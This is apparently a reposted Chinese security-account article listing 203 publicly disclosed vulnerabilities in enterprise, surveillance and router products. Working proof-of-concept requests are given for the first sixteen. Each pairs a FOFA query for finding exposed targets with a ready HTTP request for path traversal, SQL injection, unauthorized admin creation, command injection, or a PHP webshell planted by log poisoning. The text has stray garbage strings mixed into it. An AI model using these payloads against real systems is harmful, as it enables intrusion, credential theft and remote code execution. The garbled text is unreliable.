互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
, ], E" q5 z: R# t0 E$ k% U道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
8 S5 p5 n" v: v0 `5 b' p
# j3 [) w: x9 D" i- j发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
. I- Z- [- c9 `( e% l% e
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
' g1 @6 r* ?8 m  |% ^
- l' p9 q. I, {+ B文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

& e+ T0 O4 f8 b) [7 R$ K合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


. B. H3 s, f4 G- j1 i- a7 T声明

) x. z, S, F9 w8 c2 l. B1 C2 O* c9 j为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
# f8 \/ Z: P& q- B0 V. B


目录
# @  X, L6 F: @0 j& J+ v
01

1. StarRocks MPP数据库未授权访问
5 f6 q8 j2 E, J- f3 m0 \2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
; x9 K0 S; |2 U4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
- r# m! y/ ?' W6 E2 n; A0 q6. 深信服 NGAF 任意文件读取
8 S; D% L' r- O% `9 ^$ @7 Q7. 鸿运主动安全监控云平台任意文件下载
6 X0 Y0 t' c: _8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
. s" @8 B; ?; U7 X0 A& t  @10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
& r+ a4 X! }: d, ?. l( U11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
/ v2 {$ R6 c+ K% Z2 a2 Q  P: c12. Jorani < 1.0.2 远程命令执行
* X, [! U* g  T4 ~, Q3 H, t13. 红帆iOffice ioFileDown任意文件读取
9 u4 J* [  P' M5 f( H& `" k# ~& \% M14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
3 V' O3 p) R' R3 W' p16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
# Y: \+ f6 W9 _( G4 [# X0 ~0 [' F19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
' w. R% c' [# |21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
% r1 Q4 b" x% o28. 用友NC grouptemplet 任意文件上传
0 [, i4 c3 x. N  a3 y0 g8 L. s/ Z29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
3 P+ J4 V% a: y( B) Q33. 用友NC downTax/download SQL注入
( ]0 M' }/ Y: P# i, @' {1 a/ T34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
: I% V1 U, k0 f2 n* j& j+ f36. 用友NC-Cloud soapFormat XXE
' F* D, |/ a9 @/ L37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
$ N9 u0 T  D3 ]; d* p; A40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
5 g# ]( U( p. |% g& h42. 用友GRP-U8 SmartUpload01 文件上传
$ C8 ^2 o; A) [43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
9 _/ [- y4 ?( U9 W* t( X45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
( E1 n, G% j( L+ r47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
8 j9 R1 y( \' S49. 用友U8 CRM系统uploadfile.php接口任意文件上传
" z  t2 c% D( @50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
" h- z% P  Y- B( d5 P+ E. h) B52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
$ t, W/ e% c- o56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
, h3 s. {3 K7 g57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
0 y8 b( Y% T; f1 y' k59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
% @; Q8 I9 C% C60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& e5 [, j2 m5 @/ s- [  H62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
! ?4 m7 e/ H; z: P# `68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
1 T. f3 H$ k" p: h7 w71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
, `/ _7 B. d! X+ C; g73. GeoServer wms远程代码执行
6 Y! v( }( G$ O9 A% T; Z( G74. 致远M3-server 6_1sp1 反序列化RCE
6 E2 K8 A9 M0 x3 _) v, M75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
" w0 O* E6 E  l/ |: g) H3 P, _76. 新开普掌上校园服务管理平台service.action远程命令执行
; P) H2 L6 c$ j1 o/ ~& W! z77. F22服装管理软件系统UploadHandler.ashx任意文件上传
3 Q. ^6 F8 b/ @4 ]' H& P- t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
# F) X' }+ W9 z, W4 {4 W" p81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
( G5 N) o. D$ a( t83. JeecgBoot testConnection 远程命令执行
  r% k/ x1 |" ?$ G84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
/ i8 {3 c  ?5 G5 W86. 日本tosei自助洗衣机RCE
: B" e9 d2 }4 f" p4 h87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
8 Y; a+ g% M7 k' k* `8 a89. 致远互联FE协作办公平台editflow_manager存在sql注入
5 a. h: g1 ], {. h4 s90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
$ @" H% r7 Z" Z) L' o91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
$ E4 h6 }4 s# e+ e  ~. H" O93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
. Y/ `: Y% ]" P0 _8 ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
4 g& s' f3 H& w) f, I" k& s97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
8 r( W) c4 K8 [& j) a99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
' H. J  I8 e& E! z% \102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
! Q) v- t  p9 E$ M) `, ]# f( I104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. F, N3 E+ k5 i9 L105. SpringBlade v3.2.0 export-user SQL 注入
+ y4 i  a: k: k! U8 E) W5 A106. SpringBlade dict-biz/list SQL 注入
2 `& B* W! |4 l) h$ m1 V4 A9 X& s107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
6 X1 ]% _, P' Q110. Goanywhere MFT 未授权创建管理员
: z" ^2 [. ~) O" `! E! x+ j9 E111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
; s% @: ?' ^* L) M113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
& Q0 d" w9 W, n2 Y115. WordPress Bricks Builder <= 1.9.6 RCE
8 b! A, |$ @6 E* ~116. wordpress js-support-ticket文件上传
: c1 e0 z: r5 x, H& G# `117. WordPress LayerSlider插件SQL注入
( z( t9 l- ~$ T  ~% Q1 x* e8 N118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
" r5 k# O( v2 M% {119. 北京百绰智能S20后台sysmanageajax.php sql注入
- [) z' N7 l1 G) E4 k) {0 c120. 北京百绰智能S40管理平台导入web.php任意文件上传
5 C1 Y; i5 M8 r% a% W! b121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
6 R, n% I) m7 y. t! u' q/ @125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
& ^9 e2 x) j; _+ C, r128. Adobe ColdFusion 反序列化
8 s( C) B4 C7 S- X129. Adobe ColdFusion 任意文件读取
9 E$ g! H+ i1 E! b: G6 e130. Laykefu客服系统任意文件上传
8 p5 R) q; s# S& m/ u131. Mini-Tmall <=20231017 SQL注入
, @* Z1 c7 F9 A" v6 M9 b132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
* t- m& ^( p  r6 F140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
, W) B. I. z4 m7 n142. CMSV6车辆监控平台系统中存在弱密码
8 I$ G  ]* L0 M- t8 \( M143. Netis WF2780 v2.1.40144 远程命令执行
6 W3 i% c) n  e7 q7 K6 g. v+ Q6 T144. D-Link nas_sharing.cgi 命令注入
) X$ Y/ r# b: p' z, z4 }145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
2 a* P/ }! g$ x5 |148. CrushFTP 认证绕过模板注入
8 D8 x0 T/ n' v149. AJ-Report开源数据大屏存在远程命令执行
9 \1 ^2 |5 J# f1 d9 g1 |6 c" y$ S150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
: \; c6 s: z0 `( x! S152. Progress Kemp LoadMaster 远程命令执行
$ s0 }- H2 S# P) {153. gradio任意文件读取
! i4 V  t( E- R' R4 s154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
9 n' `( r- T& G: I/ k156. TBK DVR-4104/DVR-4216 操作系统命令注入
' H0 O) r: H0 V* \8 ]+ `" s157. 美特CRM upload.jsp 任意文件上传
; \: l' ?: p! y5 J: s& D0 H) L158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
$ b6 K5 x* S* V9 o160. Sonatype Nexus Repository 3目录遍历与文件读取
) o0 S5 d: U# ?. H# q- `) B161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
3 `! x( y. ~* b- V. s162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
; T  ~' h" g5 ?0 Y163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" D2 x5 \9 h1 t# Q164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
! c( q2 D* \! e% o$ e  h$ D& `165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
( A  g8 ~# m4 ~# {4 B168. 宏景EHR OutputCode 任意文件读取
3 }# Z- M1 W4 R; O1 O. b; _169. 宏景EHR downlawbase SQL注入
, p: c6 K# d7 d+ A+ \$ C170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
" A+ e+ |1 e/ Z! S7 L172. DT-高清车牌识别摄像机任意文件读取
, {" ^; \3 c% X' s, C, z+ V/ e( |173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# y; \( H! q$ a& o; ~176. 电信网关配置管理系统 rewrite.php 文件上传
5 d6 K) a( E0 Q3 M6 U177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
+ h! u2 E- r) _' T3 a3 d179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
/ w1 I( y+ d+ M186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
3 Q2 l% p5 K6 J, l2 e7 c) n190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
5 `7 r! Z* Z3 W$ e" F" N8 P6 O192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
# _" d' ]3 V. _5 z& w194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
0 ^4 q: \& t1 u8 B$ m( x5 j196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
+ q# |% a5 N8 x! E/ ^9 T, ?5 @201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
4 J. V* l, X/ h) G5 a& y203. 红海云EHR PtFjk 文件上传
9 l% \3 _/ j; l  W! ~* U' U& r
( j1 l0 t+ M( |! zPOC列表

0 x& r% H- W4 {9 g02
5 ^* R( t. z. `! ?
1. StarRocks MPP数据库未授权访问
# d: [; ]) R7 Y# ^" d9 e: kFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
( l0 W- T: |% ]

2. Casdoor系统static任意文件读取
! i+ y! H$ R; G; r% }8 p) u$ u+ {+ gFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
% c1 Y: z, ~4 e1 [; j. T. oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
) Y! R$ H" P# j: pGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
' x0 b+ l6 T9 j  F( n, ?Host: xx.xx.xx.xx

2 s7 \3 c% s: P
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
3 l: n' U! y6 {0 I% w
6 d5 j: K3 C; Y$ F" v1 o' Dpassword更改为自己的密码md5
9 m) r- B3 ]9 IPOST /api/v1/adduser HTTP/1.1
Host: your-ip
) M! [5 {3 I* h! L9 f. N! {Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' f3 F# z# c; s+ U0 V: {+ R
4 a3 n# L( g8 T3 y  Jname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
( E5 l1 d' M. [5 q

. d. P  m3 p% c2 s, ?1 t5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
- b, O, \0 G# W! p" kGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
3 N" t: [/ g3 Y% Q2 j( c+ q

" V! ?- M. C+ t+ b7 v6 d& d# O6. 深信服 NGAF 任意文件读取
- t( U) O/ z' ZFOFA：title="SANGFOR | NGAF"
5 G7 I* a3 J1 c( }. `( f' rGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
# q0 @0 J& j; N% k  `Host:


+ J) ^' a6 n* P! w& \7. 鸿运主动安全监控云平台任意文件下载
; Y1 x. ~2 V3 A$ hFOFA：body="./open/webApi.html"
7 ~6 L5 o% x6 |9 s  E/ qGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


# u# E- G4 f2 c  z. J8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
) i' a: f5 R2 F/ G# y' r. M# k& ?Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
- B8 i. T: i- Y1 L  ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
2 [. G0 b5 M# h) E/ JUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
: d2 @4 F4 t7 e( ^; t3 M" W
3 S7 |* B5 G4 q%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
4 T; J3 v8 V9 |# [4 v4 y" W------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
' v, E7 x* l2 H9 ?0 gContent-Disposition: form-data; name="cururl2"
" B+ \6 g% Y1 p6 J; G$ u' j
, t/ e( x# o, t- j  J
. K& `# ~. I2 k9 X3 |" w------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
" [, N4 Z4 w4 _- |) ~+ j. ?FOFA：app="Doccms"
# I! _* y; n1 z( X: p# TGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
; G+ G, z6 }+ E  [! B- ]0 A$ yHost: x.x.x.x
+ Y/ e' g: g) p" I4 J7 N! T; X
  R" T+ E5 E& }" p
7 M* k/ x, n3 G+ Vpayload为下列语句的二次Url编码

; e+ H( ?+ H7 |! ?/ X: |' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
; A$ a$ |7 w# ?# r" b
0 k/ K$ q  I9 V$ ~# J# G0 x10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. j: R: [/ E. dContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
/ H) k+ X% q; a  ^! @+ |1 oAccept-Language: zh-CN,zh;q=0.9
2 S4 F9 d8 @8 ^' N) hConnection: close
% Q$ i$ u1 C+ J+ p' q0 l0 n: F% hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

: ]" u1 s2 O  D" {* P0 _------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
# m' v  r* ~* Q0 x9 Q. t0 SContent-Type: text/html

+ P$ g* U# s( x. ]; ~( I+ Gjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
. k; S% H- s) o5 q9 R# B5 p0 p
" E8 N$ [; B5 |) f5 a
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
  I" ?+ D  g2 L  A5 h* \. VFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
: c! V  o" n: N: d9 R  zGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
' Z4 O% W) N" s8 j" E% xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 v% a, I5 \8 G8 X' ?; eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


# K# d* N% P" q. W0 m5 ^12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
3 Z! r, ^- y4 ~* m第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
" u, i2 A8 l+ _# L  HUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
: }; n4 ?. s, `0 A% d# E1 G9 CConnection: close
Accept-Encoding: gzip
: r& T& b6 a  k# j2 G5 {
8 E: q2 U+ Q$ Q1 d1 n5 P
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
$ L3 o6 Q4 f3 t9 Q' S3 W4 bContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
6 z. ]* Q4 p) z6 FExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
. [* J  @: k/ }# a' @Vary: Accept-Encoding
- _7 }9 n% R) k- k4 p
7 N" ~! o' P2 J4 y( E7 I- e7 J
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
# f  c4 J9 Q7 w* b) t1 I5 `% ]5 X3 jConnection: close
0 o  ?$ v+ Y6 \3 I9 J% Q/ \Content-Length: 252
Content-Type: application/x-www-form-urlencoded
, u3 Z7 v. o& l6 ~Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; D4 {% H' E. \3 j% a* N9 ?5 RAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
5 ~) d7 b/ \4 T& D6 X0 H. `- sGET /pages/view/log-2023-10-24 HTTP/1.1
) x% W$ I  I5 P& VHost: 192.168.190.30
" c' I9 N" ~" aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& B2 @% g; Z: `2 L$ uConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ w  B8 [/ s& BK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

4 g+ Q. L# ~  k/ ?% }" N
% l1 r1 Z0 a! O3 G1 t13. 红帆iOffice ioFileDown任意文件读取
. X, V" {# _* P$ @" H  KFOFA：app="红帆-ioffice"
5 {. S* V% D8 `GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" l+ s7 T+ I3 d4 U2 h6 |' }2 mAccept: */*
8 o$ R) }% V2 ?Accept-Encoding: gzip


* v9 w& k+ `0 g14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
2 ]8 v/ S4 v+ x8 E泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
! P+ [: I$ U( Z. H6 mHost: x.x.x.x
0 A4 s& y8 C2 r# K6 L# yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
& A, h& j& P, lAccept: */*
) m6 \; @. z9 f4 Q7 p6 v1 A& N1 p) b) zAccept-Language: en
Accept-Encoding: gzip
  G) c; L) T1 I9 H5 B
6 V+ t4 i; v* D: J4 F0 r" C  @9 m- }
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
& t0 O: R, M6 l1 F2 hFOFA：body="jshERP-boot"
泄露内容包括用户名密码
6 L+ `2 |, K2 U5 y6 s- WGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
/ h( c+ G1 r6 R' I2 g7 I# lAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
' Q, Y, l( M$ l* n# a1 s1 tAccept-Language: en
sec-ch-ua-platform: Windows
0 i. b! {% O) R9 ~Accept-Encoding: gzip

4 O4 j5 m% H0 V& v# l
- O* M1 d& w. q/ V3 E9 U16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
2 M9 Y3 o5 a+ d. \7 \$ Y, Z" w. IHost: x.x.x.x
